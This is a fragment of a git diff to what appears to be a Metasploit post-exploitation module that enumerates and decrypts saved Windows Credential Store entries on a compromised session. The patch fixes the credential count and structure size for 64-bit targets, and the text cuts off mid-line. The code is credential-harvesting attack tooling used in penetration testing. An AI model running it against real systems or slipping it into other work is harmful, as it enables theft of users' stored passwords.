diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index 0b0ff2ba4f..b81974452c 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -176,13 +176,18 @@ class Metasploit3 < Msf::Post adv32 = session.railgun.advapi32 ret = adv32.CredEnumerateA(nil,0,4,4) p_to_arr = ret["Credentials"].unpack("V") - arr_len = ret["Count"] * 4 if is_86 - arr_len = ret["Count"] * 8 unless is_86 + if is_86 + count = ret["Count"] + arr_len = count * 4 + else + count = ret["Count"] & 0x00000000ffffffff + arr_len = count * 8 + end #tell user what's going on - print_status("#{ret["Count"]} credentials found in the Credential Store") + print_status("#{count} credentials found in the Credential Store") return credentials unless arr_len > 0 - if ret["Count"] > 0 + if count > 0 print_status("Decrypting each set of credentials, this may take a minute...") #read array of addresses as pointers to each structure @@ -193,24 +198,29 @@ class Metasploit3 < Msf::Post #loop through the addresses and read each credential structure pcred_array.each do |pcred| cred = {} - raw = read_str(pcred, 52,2) + if is_86 + raw = read_str(pcred, 52, 2) + else + raw = read_str(pcred, 80, 2) + end + cred_struct = raw.unpack("VVVVQ